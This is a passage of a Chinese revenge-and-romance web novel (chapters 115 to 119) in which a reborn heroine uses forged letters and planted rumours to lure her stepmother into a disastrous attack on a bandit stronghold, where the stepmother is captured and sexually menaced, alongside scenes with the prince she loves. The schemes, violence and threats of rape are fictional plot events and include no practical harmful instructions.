话音落下,谢怀鸣回头看了谢夫人一眼,就大步离开了。 快马加鞭,日夜不停,最迟两日他就能到南淮。 找人,商谈,拿东西,回京…… 若是顺利,大年初三、初四,他应该就能回来了。这么几日,想来皇上是不会动谢詹杭的,出不了什么事。 这样最好。 谢怀鸣想着,丝毫不敢耽搁,他脚步都更快了些。 他生怕耽误了时间,迟则生变。 谢怀鸣回了自己院里,收拾了几件衣裳,只用了一刻钟,他就匆匆的出了府。 几乎是在谢怀鸣出府的同时,谢晚棠这头就接到了消息。 谢晚棠一点都不意外。 送进永昌侯府的那封信,那封所谓的谢詹杭的亲笔信,就是她一手安排的。 临摹而已。 她难做到以假乱真,但有人可以。 至于裘青成这个名字,倒也不虚,是确有其人的,这是上辈子,她从慕枭那听来的消息,盐运道上的人,不太干净,具体怎么个不干净法,谢晚棠不知道,但眼下,有这个名字,骗骗谢怀鸣,已经足够了。 谢怀鸣急于救人,关心则乱,他离京,全在她的算计之中。 坐在桌前,手指里拈着一点鱼食,慢悠悠的撒进七彩琉璃缸里,看着四条小锦鲤游过来,谢晚棠微微勾了勾唇。 她的眉眼间尽是笑意。 “天岚,谢怀鸣走了,谢詹杭又不在府上,这猪圈已经塌了,下一步……就该让猪往外跑了。” 天岚一愣。 猪圈,猪往外跑—— 这话,之前在韫辉斋,在谢晚棠乍听见青芒山出事的时候,谢晚棠说过一次。 之前天岚稀里糊涂的,没明白是怎么回事。 可现在,她心中明了。 天岚眼睛晶亮,“奴婢明白,奴婢这头早已经准备好了,那咱们这就行动?” “去吧!” “是。” 天岚应声,转身就走。 谢晚棠瞧着,将手里的鱼食,尽数撒在缸里。 她拿着帕子擦手,慢慢起身到窗边,推开窗子,看着主院的方向,她的眼里流光溢彩,尽是期待…… 第115章 心神碎 落霞居。 洛氏听着谢婉瑜绘声绘色的说着外面的流言,眉眼弯弯,端着茶盏,她静静的用手摩挲,她一直不做声。 直到谢婉瑜都说完了,她才轻声询问。 “你说的,都是真的?” “当然。” 四目相对,谢婉瑜连连点头,她丝毫不隐瞒。 “我已经不是听一个人说了,据说,是管家亲耳听到的,谢婉宁真的被掳进青芒山了。为了这事,大伯娘都急晕了呢,肯定假不了,只是不知道为什么,到现在为止,他们还没开始安排人去救人。” 谢婉瑜不明白,洛氏却是明白的。 谢夫人蠢,可有不蠢的。 谢怀鸣明知道眼下永昌侯府的情况,他是不会允许谢夫人乱来的。 侯府的人到现在为止,还按兵不动,没有一点要营救谢婉宁的意思,必然是因为谢怀鸣的阻拦,是谢怀鸣牵制了谢夫人。 可谢怀鸣出门了! 如此,想要让谢夫人乱来,也没有多难。 嘴角微微上扬,洛氏抬眸看向谢婉瑜,她轻声叮嘱。 “你先出去吧,你婉宁姐姐的事,你万万不能再提,只当什么都不知道就好。剩下的事,你也不要多管,听懂了吗?” “娘……” “一切都听我的。” 知道谢婉瑜要说什么,洛氏语气冷了些,她强势的厉害。 谢婉瑜瞧着洛氏的样,忙不迭的点头。 她最怕洛氏这样了。 谢婉瑜很快就离开了,洛氏瞧着她的背影,沉吟思量,半晌她才看向身边伺候的路婆子。 “你去帮我安排,从今日起,到除夕夜,陆陆续续帮我传三道消息到主院。” 路婆子一愣,忙凑到洛氏身边。 洛氏压低了声音,与她耳语。 细碎的叮嘱,一声连着一声,只有路婆子听的清清楚楚。 …… 主院。 谢夫人醒来的时候,天色都已经暗下来了。 看着昏暗暗的房间,谢夫人揉了揉发疼的脖颈,她这才想起来,昏睡之前发生的事。 想起谢婉宁被掳到了青芒山,进了土匪窝,危在旦夕,她急忙掀了被子下床。 门外,有婆子在守着。 “怀鸣呢?” 谢夫人看着婆子,厉声询问。 婆子摇头,“大公子出府了,具体去做什么了,老奴也不知道。” “那他什么时候回来?” “老奴不知。” 谢夫人听着这话,脸色即刻冷了下来,她知道,谢怀鸣惦记着谢詹杭,惦记着侯府,瞻前顾后,只怕不会轻易出手。可谢婉宁身处土匪窝,越拖情况就会越糟,真的不能等。 谢怀鸣怕,她不怕。 谢夫人快步往外走,要去叫管家安排人手,即刻前往青芒山。 青芒山土匪凶残,那他们就多带人。 她就不信,难不成他们堂堂侯府,还奈何不了几个山野匹夫?难不成,他们还要由着那些人猖狂? 谢夫人脚步飞快,只是,她才到门口,就撞到了一个门房小厮。 小厮脸色惨白,他低着头,几乎撞到了谢夫人身上。 “你没长眼睛吗?” 谢夫人恼怒,厉声咆哮。 小厮闻声,腿都软了,他扑通一声就跪了下来,“侯夫人恕罪,奴才是因为有急事回禀,一时心急,才冲撞了夫人,请夫人恕罪。” “急事?” “是,是关于大小姐的。” 一听跟谢婉宁有关,谢夫人的心,瞬间提到了嗓子眼。 “宁儿怎么了?快说。” 听问,小厮仰头看向谢夫人,急声道,“刚刚有小乞丐往侯府来传话,他告诉奴才,大小姐被掳到了青芒山,被接连糟蹋了三日,人只剩一口气了。大小姐……大小姐靠伺候人,才打通关系,往外传了一句话,是给夫人的,她说——救命。” 谢夫人闻声,如遭雷击。 她脸色灰白。 之前,谢夫人就查到,谢婉宁被扔进了楼子里,接连接了三日的客。 她知道,谢婉宁的清白已经不在了。 可是,她没想到,谢婉宁离开花楼,还要遭受这种折磨。 土匪三日的糟蹋…… 想想,谢夫人都承受不住。 眼睛充血,她恨不能将那些伤害谢婉宁的人,即刻给生吞活剥了。 “去,去叫管家,我要带人去青芒山救宁儿。” 谢婉宁用了全部的尊严,任人蹂躏,才传出了“救命”两个字,她怎么能让谢婉宁失望? 那是她的女儿啊! 她的女儿,生来受宠,不该这样的! 听着谢夫人的吼声,小厮想要起身去找管家,只是,他还没动,管家就已经到了。 剜了小厮一眼,怨他多嘴,管家随即看向谢夫人。 “夫人冷静些,大公子出门了,他走之前吩咐了,一切等他回来再说。” “他去哪了?” “老奴不知,大公子没说。” “不知不知不知,你们什么都不知,那要让我等到什么时候?宁儿在青芒山身受大苦,你让我怎么等得了?我是侯府主母,一切听我的,即刻去安排,这就去救人。” “夫人恕罪。” 管家低着头赔罪,他随即挥了挥手,让人守住了主院的门。 谢夫人瞧着那模样,气得发抖。 “黑心肝的东西,你也要害宁儿是不是?我是侯府主母,你连我也敢关,你想死吗?让这些人都给我滚开,要不然,等我出了这道门,我让人活刮了你,你信不信?滚开,都给我滚开。宁儿还在等着我,你们全都给我滚开。” 谢夫人吼得声嘶力竭。 可别管谢夫人怎么吼怎么骂,管家都没有退让。 他没让谢夫人出门半步,更别提她说的安排人,跟她去青芒山营救谢婉宁了。 谢夫人整整吼了一个时辰。 她气的发疯。 可是,这也才只是个开始,隔日传来的消息,更让她疯狂。 看着眼前的婆子,她眼睛腥红,眼下的乌青,裹挟着狂风骤雨,她眼底尽是不敢置信。 “你说什么?你再说一次。” “夫人……” 婆子声音哽咽,她几度尝试,才继续道。 “老奴……老奴刚刚回府的时候,听到有人来侯府传信,说……说在青芒山的山脚,发现了一具尸体,是个被毁了容的年轻女子,那模样特征,跟咱们大小姐很像。只怕……夫人……” 谢夫人崩溃,她承受不住,直接晕了过去。 谢夫人整整晕了六个时辰。 她再醒来的时候,只觉得脑子里乱糟糟的,耳朵也一个劲儿的嗡嗡作响,像是有无数的苍蝇在飞。 婆子看着她那模样,吓得厉害,忙叫了管家过来。 管家也没想到谢夫人会变成这样。 “夫人……” 几乎是在管家出声的瞬间,谢夫人就扑上去,掐住了他的脖颈。 她的眼里,全是狠厉杀气。 “我的宁儿明明不会死的,我明明有机会救下她的,都是因为你,都是因为离阻拦我,不让我带人去青芒山,她才会死。你个老刁奴,你个黑心肝的东西,你该被雷劈,你该被千刀万剐,你该去给宁儿陪葬,你该下地狱。你……” “夫……夫人,没……没死。” 管家艰难出声。 听着管家的话,谢夫人的手微微顿了顿。 “什么?” 感受到谢夫人手上有松动,管家轻咳了一声,连忙解释。 “老奴刚刚接到消息,昨日传来的消息是假的,青芒山下的尸体,根本就不是小姐,而是被抢的临近村里的一个姑娘,那尸体已经被送到京兆府,经由京兆府,由那姑娘的家人带回去安葬了。不是咱们大小姐,不是的,夫人你冷静。” “呵……呵呵呵呵……” 谢夫人看着管家,一阵阵的发笑,状若疯癫。 三日。 三道消息,大喜大悲,跌宕不断。 谢夫人本就不算多坚强,这大喜大悲的冲击,让她心神俱碎,她真的承受不住了。 瘫坐在地上,谢夫人放声大哭。 她庆幸谢婉宁没事。 可她也心疼谢婉宁,心疼她依旧身在土匪窝,危险不断…… 第116章 情窦开 看着谢夫人的模样,管家心里也不是滋味。 “夫人,你冷静点,大小姐没事,今儿已经是除夕了,按时间算,大公子也快回来了,等大公子回来,咱们再从长计议,一定……” 管家劝着。 只是,他的话还未说完,谢夫人就猛地起身,一把推开了他。 冲到罗汉榻前,从那绣花的小筐里,将剪子拿出来,直接抵在自己的脖颈上,谢夫人厉喝。 “我不要等,我也不要从长计议,我要你现在就安排人,去青芒山救宁儿。侯府所有能带的人,全都带上,一个都不许落下,听到没有?” “夫人,大公子他……” “你要记住,你只是侯府的管家,而我是侯府主母。” 像是找到了底气,谢夫人声音都更重了些。 她继续。 “你不要以为你有怀鸣的叮嘱,就能在这侯府做主,能为所欲为了。这侯府,还不由你说了算。你若是不应我,今日我就死在这。看到时候怀鸣回来,侯爷回来,他们容不容得下你?” 谢夫人说着,剪子已然戳破了皮肤,血点子冒出来,吓了管家一跳。 谢夫人宠爱谢婉宁,他知道。 为了谢婉宁,谢夫人拼命,他也不意外。 他不敢赌。 稍稍犹豫片刻,管家即刻回应 ,“夫人稍候,老奴这就去安排,是所有的府卫、府兵,以及死士全都带上,对吗?” “全都带上,一个不落,快去。” “是。” 管家应声,快速退了下去。 按照谢夫人交代的,永昌侯府的府卫,谢詹杭私养的府兵,还有谢詹杭亲自训练的三十个死士,他全部都召集齐了。 人到了,谢夫人也不再耽搁,她立刻带人出发。 她是可以在府上等的。 可是,经历了这几日的大喜大悲,她已然信不过任何人了,尤其是管家,她是最信不过的。 她要亲自带人去救谢婉宁,她要亲自去盯着。 眼下,她只信自己。 谢夫人带人离府,动静不小。 洛氏和谢晚棠这边,很快就都得到了消息。 落霞居。 洛氏听着下人说,谢夫人带了侯府的府卫、府兵和死士,尽数出动,去青芒救谢婉宁了,她眉头紧锁。 她是想让谢夫人去青芒山的。 她用三道消息,让谢夫人在大喜大悲中辗转,她要谢夫人失去理智,要谢怀鸣之前所有的劝说,都化作尘烟,不复存在,她要谢夫人难以用理智思考,从而直奔青芒山,送上一条命。 可她没想过,谢夫人会带那么多人。 府卫也就罢了。 府兵、死士,哪怕京中权贵府上都有,可这终究是见不得光的。 这么多人尽数出动,这是生怕动静闹得不够大,生怕皇上那头注意不到,不处理永昌侯府吗? 把家底压上,换一条死路—— 疯了吗? 洛氏想要谢夫人死,可她不想要永昌侯府倾覆。 这不是她想看到的。 洛氏抿着唇,她惊异于谢夫人的激进,她思来想去,觉得问题的关键,就出在谢怀鸣头上。 谢夫人自视甚高,刚愎自用。 谢怀鸣越是拦着她,她就会越想要救谢婉宁,就会越一意孤行。 若是从一开始,就没有谢怀鸣的阻拦,谢夫人或许脑子一热,带几个人就去青芒山了,可有了谢怀鸣阻拦这一遭,谢夫人把侯府能用的人都带上,似乎就成了必然。 是她忽略了这一点。 谢怀鸣阻拦谢夫人去青芒山,谢怀鸣又即刻因事离府…… 这太巧了! 十有八九,谢怀鸣是中了调虎离山之计,而她……大约也受了算计,成了别人手上的刀。 她的三道消息,大抵也在别人的算计中。 她自以为安排的缜密,可事实上,那些计划,大约也没有她想象的那般天衣无缝。 把柄,或许早在别人手中了。 一旦侯府出事,一旦谢夫人出事,她估计很难干净抽身。 后患无穷。 要谢夫人的命,要永昌侯府落难,要她也被落下泥潭,坠入深渊,一箭三雕,可是,她甚至不知道这一箭,是何时射向她的。 谢婉瑜的那些话吗? 用谢婉瑜轻飘飘的几句话,就拉她下水,这是看透了她的心吗? 洛氏眉头皱成一团,她想着这些事,脑海里不禁闪过了谢晚棠的那张脸,闪过了谢晚棠言笑晏晏的模样。 没有任何的证据。 可是,她就是下意识的觉得,这一切都是谢晚棠的算计! “谢晚棠!” 呢喃着这个名字,洛氏眼底冷冽。 若真是谢晚棠,这一场交锋,她输得彻底,这是她从来都没有想过的。当年,清虚散人说的话,大抵是真的,而若真是那样,她…… 动手的速度,就必须得更快些。 这怨不得她! 洛氏想着,眼底阴狠的光芒疯狂肆虐。 …… “阿嚏。” 永昌侯府后院,闻风楼上,听着天岚回禀消息的谢晚棠,一连打了两个喷嚏。 她手漫不经心的敲着桌上的七彩琉璃缸。 清浅的声音,激的锦鲤乱游。 倒是活跃。 谢晚棠瞧着锦鲤,眉眼弯弯,她知道,这喷嚏,大约是洛氏在念叨她了。 “呵!” 念叨好啊! 从今往后,洛氏念叨她的机会还多。 毕竟,她已经从清虚散人那,知道了当初的事,她和洛氏和谢詹林,还有账没算呢。 他们……来日方长! 并不知道谢晚棠的心思,见她打喷嚏,知棋伸手将谢晚棠的披风给她裹紧了些,“小姐,裹严实点,闻风楼虽高,可冬日太冷了,还是得小心些,免得受凉。” “没事,我不冷。” “那也多穿些,小姐都打喷嚏了。” “好。” 知道知棋一片好心,谢晚棠冲着她笑笑,从善如流。 天岚靠近谢晚棠,低声询问,“小姐,侯夫人已经带人离府了,按脚程算,最迟天亮,他们就能到青芒山。虽说白日不好动手,可侯夫人是个急性子,洛氏传了那样的消息过去,她必定着急,铤而走险直接冲,也未必就不可能。那头大抵要热闹了,咱们可要跟过去瞧瞧?” “不急。” 谢晚棠仰头看向天。 “今儿除夕夜,到了子时,满城烟火,很漂亮的,我们在这围炉煮茶,看完烟火再去看热闹也不迟。” 谢晚棠说完,便不再开口了。 她只是时而看看天,时而看看锦鲤,静静的等着。 上辈子,她和慕枭在万芳阁围炉煮茶,坐看满城烟火,那样的日子简单又温馨。后来她死了,慕枭重上万芳阁,身边还有谢婉宁,她甚至没等到最后,就仓皇逃了。 可惊恐和遗憾散去后,她知道,慕枭是在意她的。 她心里是暖的。 而今,她在闻风楼,围炉煮茶的人换了,看烟火的人也换了,连带着锦鲤,也跟慕枭没了关系。 但她一点都不怕,更不觉得孤单。 这辈子,很多事都和上辈子,变得不一样了。 她看得见未来。 烟火炸响,点亮夜幕,谢晚棠起身,笑盈盈的看着天,烟火的光晕,散落进她的眼眸里,她似乎瞧见了慕枭的影子。 慕枭啊! 也不知道,她现在在做什么? 也不知道,她前一日才让天月匆匆送去的年礼谢礼,他是否又烧了? 应该不会吧? 那份《龙韬九变》,可是两百年前的麾隆将军亲笔撰写的谋略典籍,上辈子,慕枭也是一年多之后才偶然间得到的,她研读过很多次,也就都记了下来。 日前,她默了一份给慕枭。 慕枭那么爱读兵法,应该不会烧了吧? 那往后,他每次拿起《龙韬九变》,每次用那些谋略的时候,也会想起她吧? 想着,谢晚棠眉眼弯弯。 她愈发期待正月十二,去见慕枭了。 …… 齐王府。 万芳阁里,慕枭看着满城烟火,一点点将手中的《龙韬九变》攥紧。 这东西,他已经找了两年多了。 没成想最终,会是谢晚棠把东西送到了他手上,虽只是默本,但其内容才是关键,这默本也极其珍贵。 年礼!谢礼! 谢晚棠倒是了解他。 只是,这份了解,到底由何而来? 慕枭凝眉思量,这时候,一阵脚步声传来,天晴上了万芳阁,快速到慕枭身边。 “王爷,车马已经准备好了,咱们可以出发了。” “嗯。” 慕枭应声起身,他拿着那份《龙韬九变》下楼。 没有封皮,看不见内容,可天晴看得出来,那是谢晚棠送来的东西。 天晴眼睛晶亮。 “王爷,从前谢二小姐送的东西,你张口闭口就是烧了,这如今,怎么走哪拿到哪了?也不提一句烧了的事了?这么宝贝,王爷这转变挺快啊?这算是……开窍了?算是……情窦开了?” 第117章 相思苦 慕枭顿住脚步,甩了天晴一记眼刀子。 见状,天晴稍稍后退,他捂住自己的嘴,贼笑着耸耸肩,“行行行,知道了,属下不说就是了。” 慕枭转头。 天晴看着他的背影,一阵嘀咕。 “这年头,果然不能太真诚,说实话的招人烦,说真话的讨人嫌,啧,真是白瞎了我这么一个真诚的人。” 前面走着的慕枭:“!!” 有时候,想刀一个人,真的不是没有缘由的。 那嘴太作孽! 慕枭嫌弃,他脚步没停,反而更快了些,只是,他手中攥着的《龙韬九变》自始至终都没有松开。 慕枭很快就出府,上了马车。 马车辚辚而行,直奔京外,将满城烟火留在了身后。 …… 京城南。 谢晚棠看了烟火,就带着天岚、天月坐上马车到了这边。今日除夕,京城周边来看烟火的不少,城门关闭的时间,也要比平时晚一个多时辰。 是以,谢晚棠她们主仆三个,很顺利就出了城。 出城没多久,谢晚棠就听到天岚的声音,从马车外传进来。 “小姐,是王爷。” 闻言,谢晚棠不禁一愣。 她下意识的掀开车帘子,刚好瞧见慕枭骑着马,带着天晴从他们的马车边上经过。 在闻风楼时,谢晚棠的脑子里,就全都是慕枭。 是上辈子除夕夜,和慕枭相处的种种。 好的坏的,甜蜜的伤感的,皆在心头。 她想慕枭。 相思门内相思苦,烛烬诗成泪未枯。菱花镜里朱颜冷,更漏声中岁月徂。 思念早已泛滥,可她没想过,会在这见到慕枭。 太巧了! 那颗空荡荡的心,像是瞬间被填满了,谢晚棠眉眼弯弯。 “王爷……” 听到谢晚棠的声音,慕枭微微勒住缰绳,他回头,看着从马车探头出来的谢晚棠,他也有些意外。 “天岚,往前一点。” 谢晚棠吩咐。 “是。” 天岚应声,赶车到慕枭身边。 慕枭穿着一身玄色的袍子,清冷低调,他坐在马上,自有一种高高在上,不怒自威的气势,和谢晚棠记忆中上辈子的他一模一样。 谢晚棠勾唇。 “王爷这么晚还出京,是有要紧事吗?需要帮忙吗?” 慕枭挑眉,没有回应。 谢晚棠眨了眨眼睛,“人都停下来了,话真就一句都不说吗?那王爷停下来干嘛?” “去青芒山?” 在谢晚棠话音落下后,慕枭淡淡的问了一声。 谢晚棠没想到慕枭会知道她要去青芒山。 不过,想想也没多奇怪。 慕枭手握着九重暝楼,获取消息便利,说他眼观六路耳听八方也不为过。谢夫人带人出京,直奔青芒山,动静不小,慕枭知道也不奇怪,自然的,能猜到她去青芒山,也没什么稀奇的。 “是。” 对上慕枭的眸子,谢晚棠浅笑。 “王爷这个时候出京,不会也要去青芒山吧?那……不如同行?” “不去。” 慕枭冷淡的回应了一声。 之前,谢晚棠给的矿脉图,他派人勘探,已经有成果了,只是那头出了些状况,急需他过去。好在他对外宣扬伤了腿,初一的祭天他不需要出面,这个时候离京,也不会引人注意,倒也不耽误什么。 想着矿脉的事,慕枭对谢晚棠的态度,也更柔和了些。 “青芒山是非多,不去最好。” 慕枭性子冷淡,不是多事的人,这一点,谢晚棠上辈子就知道。而也正因为知道,她听着慕枭的叮嘱,才更觉得心里暖。 嘴角噙着一抹笑,谢晚棠的身子,又往出探了探。 “王爷,这算是关心吗?” 慕枭没答。 他牵着缰绳,调转方向,就要离开。 谢晚棠瞧着,脸上的笑意更浓了,“王爷,被戳中心事了吗?这么急着走干什么?” 戳中心事吱哇乱叫,做贼心虚连哭带闹…… 慕枭听着谢晚棠的话,莫名想到之前,天晴跟他说过的话。 心事?关心? 才没有! 慕枭冷着脸催马离开。 看着慕枭的背影,谢晚棠询问,“谢礼可还喜欢?还是说,之前那两幅画,更得王爷的心?” “……” “王爷离京,什么时候回来啊?马场的约定,王爷可别忘了。” “……” “王爷保重,一路平安。” 谢晚棠的话,慕枭听见了,同样,天晴也听到了。 眼见着慕枭骑马离开的速度越来越快,天晴跟上,他笑嘻嘻的跟慕枭念叨,“王爷,谢二小姐难得又对你热情点,你怎么还不应声呢?就这么跑了,这算是被戳中心事害羞吗?” “多嘴。” “是是是,是属下多嘴,所以王爷,是前两日的谢礼好,还是之前的画好?还是……只要是谢二小姐送的,什么都好?” 慕枭:“……” 他觉得,他身边的人,换一换才好! “王爷,正月十二的约定,可别忘了,咱们得快去快回。这可是王爷主动约谢二小姐的,约了人还失约,那可有失风度,非君子所为。那也容易浇人姑娘一头冷水,容易浇灭人的热情,容易孤独终老。” 慕枭:“!!” 他应该浇天晴一头冷水才对! 慕枭懒得听天晴的碎碎念,他策马狂奔,转瞬间就甩了天晴一大截。 天晴嘴角抽搐。 “啧,我这可都是好话,也是费了心思,费了吐沫星子的,就这么不领情,不上道,可怎么好呦?” 天晴连连咂舌,他随即快速跟上。 后面。 谢晚棠远远的瞧着他们主仆俩消失,这才放下车帘子。 “天岚,咱们走。” “是。” 天岚应声,继续赶车。 马车里,谢晚棠看向身侧的天月,“可知道王爷今日出京,是要去哪?” 天月摇头,“王爷身边的危险自来不少,他的行踪,除了天晴、天明之外,鲜少有人能确切知晓。奴婢和天岚,是接触不到这些的。不过,今日是除夕,王爷这个时候离京,想来要去办的,应该是要紧事。” “嗯。” 谢晚棠知道,天月说的都是真的。 慕枭要去哪,要去忙什么,她无从猜测,但总归重要就是了。 但愿他能一切顺利。 但愿他能平平安安。 谢晚棠在心里想着,半晌,她才轻呼了一口气,低声念叨,“等从青芒山回来,过了十五,咱们去一趟慈恩寺吧。” 她想求两个平安符,一个给自己,另一个给慕枭。 重活一世,他们都平安才好。 …… 青芒山。 天岚赶车,带着谢晚棠过来的时候,早已经天光大亮了。 青芒山下安安静静的,没有一点动静,但天岚、天月敏锐,她们很快就发现,暗处有永昌侯府的死士在盯梢。 想来谢夫人是带着人藏起来了。 青芒山山势险峻,想要上山,就要走南边的山道,其余再没有进山的路。这里易守难攻,想要攻上去,并不是什么易事,青天白日的,人无从隐藏,想要突袭就更困难。 谢夫人大约也是左右思量过,才慎之又慎,静观其变的吧? 谢晚棠眼底,全都是戏谑的光芒。 现在谨慎有什么用? 来都来了。 为了谢婉宁,谢夫人还能退不成? 心里想着,谢婉宁掀开车帘子,看着天岚吩咐,“你赶车,到临近的镇子上落脚,等入了夜之后,咱们再上对面的山里,等着看这出大戏。” “是。” 天岚应声,即刻赶车。 按照谢晚棠说的,天岚到了临近的镇子上,一直到暮色四合时,她们才上山。 冬日山里尽是枯树,枝稀叶疏,不利藏身,加上下面还有人盯梢,她们也不敢生火,故而,谢晚棠和天月只是在半山腰的位置,寻了个山洞,她们都多裹了件衣裳,静静的等着。 临近戌时末,山下便传来动静。 天岚出了山洞查看,她回来时,眼底尽是欣喜之色。 “小姐,快去看看,打起来了……” 第118章 过把瘾 瞧着天岚的模样,谢晚棠即刻起身。 坐的久了,腿有些发麻,她也没管,由着天月、天岚扶着,踉跄着出了山洞,她站在山洞口往下瞧。 这个位置选的极佳。 不高不低,不远不近,放眼望去,可以将青芒山,以及青芒山下的一切尽收眼底。 如天岚所说,底下,早已经打成了一团。 兵戈撞击,声音清寒。 打斗嘶吼,哀嚎连天。 听着动静,看着火光中,青芒山的山匪,与永昌侯府的人厮杀,谢晚棠眸色暗沉,她瞪大了眼睛,仔细盯着。 只是,下面太乱了,她一时间也看不出个所以然来。 “天岚、天月,两边局势如何?” 听问,天岚、天月对视了一眼,她们两个眼眸里,全都是笑意。 她们也不兜圈子。 天岚回应,“小姐,眼下的局势,永昌侯府的人占了上风,瞧着攻势很猛,但是,这种局面最多撑不过两刻钟。” 天月认同的附和,“不错,最多也就两刻钟,之后,青芒山的山匪一定会猛攻,永昌侯府落败,那是必然的,死伤惨重,也是必然的。” 谢晚棠挑眉。 “为何这种占上风的局面撑不住?” 天岚轻声解释,“因为指挥的人,顾头不顾尾。” “指挥的人……” 谢晚棠呢喃着这几个字,目光落在青芒山下的马车上,马车由七八个死士守着,里面坐的人,正是谢夫人。 上辈子,谢晚棠跟着慕枭,也读过一些兵书。 她不敢说精通此道。 可是,她心里清楚,一个将领的指令,对于一场战役而言,是至关重要的。 谢夫人执掌侯府多年没错,可是,指使人干活,跟指挥人打仗,那完全是两回事。 谢夫人是个门外汉。 偏她一心想救谢婉宁,还谁也信不过,她一意孤行,不听劝解,是必然的。 她眼下所求,是直冲上青芒山,找到谢婉宁。 其他的,她不管不顾。 她的人瞧着攻势很猛,但却只顾攻而不顾守。 虽说眼下青芒山的山匪,似有被强势冲破的意思,可谢晚棠经由天岚提醒,她看得出来,青芒山的山匪,已经在逐渐下移。他们的人手,被冲成东西两翼,只要再有一会儿,两翼的人数积累够了,他们就可以包围永昌侯府的人。 到时候,永昌侯府的那些人四面受敌,四面楚歌—— 想赢,难如登天。 甚至能不能保命,都是未知。 看透了,谢晚棠的眼底,也露出了一抹喜色。 “好啊。” 这样才好。 唇角上扬,谢晚棠饶有兴致的看着,她静静的等着,等着永昌侯府的人落败,等着谢夫人崩溃。 两刻钟,这是天岚和天月的估算。 可实际上,她们说多了。 永昌侯府的人支撑了一刻钟多些,就被围住了。 山匪反击,一路围杀。 空气中,浓郁的血腥气四处飘散。 只一盏茶的工夫多些,谢夫人带的人,就被斩杀了大半,哪怕他们有功夫了得的死士,也奈何不了山匪围攻。 马车上,谢夫人也瞧见了。 她睚眦欲裂。 “怎么会这样?怎么会?” 谢夫人不敢置信,她带的,可是永昌侯府的府兵、死士,这些人,可都是谢詹杭亲自挑选训练的,怎么会还奈何不了几个土匪? “都是酒囊饭袋吗?都是废物吗?” “养兵千日,用兵一时,我永昌侯府养你们多年,关键时候,你们就这么交代吗?” “你们能不能用用心?” “冲啊,冲上山救宁儿,连几个山匪,几个草莽你们都干不过吗?侯府养你们这些人有什么用?还不如养几条狗呢吧?” “还愣着干什么?你们也去啊,不论如何,一定要冲上山。” “冲上去,听到没有。” “去啊!” 谢夫人一声声的厉喝,斥责时,口不择言,话刺耳至极。 永昌侯府的人都身处战圈之中,两方对打,不是你死就是我亡,一切都不过是转瞬间的事,这种生死存亡的时候,谁敢不用尽全力?谁敢不尽心? 他们谁想死啊? 谢夫人的斥责怒骂,简直可笑。 那些话,于他们毫无助益,还会分散他们的心神,拖他们的后腿。 不少人听到那些话,都心里烦躁,尤其是想着之前,谢詹杭出事,谢龄被推出去当替罪羊,见微知著,由此不难看出,永昌侯府的这几个主子,都是个什么德行。 谢夫人说,养他们不如养几条狗,这大约也非极怒之时的口不择言。 这大约就是她的心里话。 在谢夫人眼里,他们怕真的只是永昌侯府养的狗吧? 谢婉宁的命是命。 而他们的命,在谢夫人眼里不值一文。 这想法,在不少人心头肆虐。 身处战圈,被青芒山山匪包围的人,无法脱身,他们只能先顾全自己,尽力保命,他们做不了什么,可是,守着谢夫人马车的几个人,却还是自由的。 听着谢夫人声嘶力竭的怒骂,他们几个互相对视了一眼。 下一瞬,有人将匕首扎入马身。 烈马长嘶。 忍受不住剧痛的烈马,受惊冲着青芒山的山匪夺路狂奔。 马跑的快,车厢剧烈颠簸,马车里的谢夫人被颠的七荤八素的,人根本坐不稳,她的头和身子,在马车里一阵乱撞,脑袋也愈发晕了。 “救……救命……停下,快让马车停下,来人,来人……” 谢夫人大吼。 只是,原本守着他的几个府卫,只当没听见。 他们甚至没做停留,扭头就跑。 虽然身契在永昌侯府,他们并非自由身,可如今,永昌侯府能撑几时,也还没谱呢,他们跟着侯府,也未必就能落得好,更别说今日这一战,没有一点胜算,留下,远不如逃了。 哪怕是苟延残喘,隐姓埋名,也比为了谢夫人这种人丢了命强。 其他人没的选。 他们既然还有路可走,又何必往死路上奔? 他们走的快,没了帮手的谢夫人,直接被受惊的马,拖入了战圈之中。 临近的山匪,怕受马冲撞,索性一刀将马解决了,马倒下去,马车整个前倾,谢夫人的身子不受控制,直接从车厢里滚了下来。 一个山匪,抬手就抓住了她。 “啧,还有女人呢。” 身材魁梧的山匪,满脸淫笑,他猛地将谢夫人拉到了跟前。 染着血的手,在谢夫人身上粗鲁的摸了一把。 之后,他高喊。 “兄弟们都加把劲儿,速战速决,这有送上门的女人,老是老了点,可保养的还成,皮肤瞧着也还嫩,玩起来指不定也别有一番滋味。大家都快点,回头也好都来尝尝味儿。” “你放肆。” 谢夫人被吓坏了,她强撑着咆哮。 “我是永昌侯夫人,你们岂敢动我?赶紧把我放了,要不然,我饶不了你们。” “哈哈哈!” 谢夫人的话,只换来山匪的放声大笑。 “还是个侯夫人呢?那玩起来,肯定更带劲儿。兄弟们都听到没,今儿打胜了,就有侯夫人伺候了,咱们也都能过把当侯爷的瘾了。来啊,那些人一个不留,都加把劲儿啊。” 山匪说着,就又在谢夫人的脸上,又摸了两把。 “真他娘的滑溜,要是年轻点就更好了。” “你……” “急什么?” 把谢夫人搂在怀里,山匪低头在她嘴上猛亲了一口。 “这嘴儿是他娘的用来亲的,骂骂骂的,也太扫兴了,给老子老实点,你也能快活快活,要不然老子割了你的舌头。” 谢夫人没想到山匪真的敢动她。 她头脑发懵,泣不成声,她一声声的叫人,一声声的喊救命。 人近乎崩溃。 山上。 天岚、天月下意识的看向谢晚棠。 谢晚棠神色淡淡的,她是没想过,谢夫人会被这般凌辱,但是,她也只是静静的瞧着,心下没有一点波澜。 作壁上观,冷眼以待…… 这是上辈子,她和谢夫人学的。 上辈子,谢夫人能眼睁睁的看着谢婉宁活埋她,那今日,她也可以静静的看着谢夫人受难,只当看个热闹。 救人? 换做是旁人,她可以救,不遗余力,可谢夫人…… 不成! 第119章 行绝路 谢晚棠静静的看着。 一直到谢夫人带的人,被杀了个七七八八,一直到山匪拖着谢夫人,进了青芒山,她才收回目光。 谢夫人的崩溃,她都看在眼里,她眼底尽是笑意。 崩溃了好。 青芒山的日子,谢婉宁没机会去体会,那就由谢夫人代劳了。 上辈子,她们加诸在她身上的痛苦,她也算还回来了。 谢夫人应该祈祷,自己能死在青芒山,虽然遭罪,可好歹也算结束了,否则,勉强留了一条命,回了永昌侯府,她的痛苦和煎熬只会更多。 她,只管等着就好。 今儿是大年初一,这一年,大约是个好年。 谢晚棠微微舒了一口气,她转头看向天岚、天月。 “走吧。” 闻声,天岚、天月点头。 她们跟着谢晚棠一起,很快就下了山,马车就在山下不远处,她们上了马车,天岚赶车,她们悄无声息的离开,直奔京城 。 这里的一切,血腥厮杀,惊恐嘶嚎,全都被留在了身后。 看过了,便也过了。 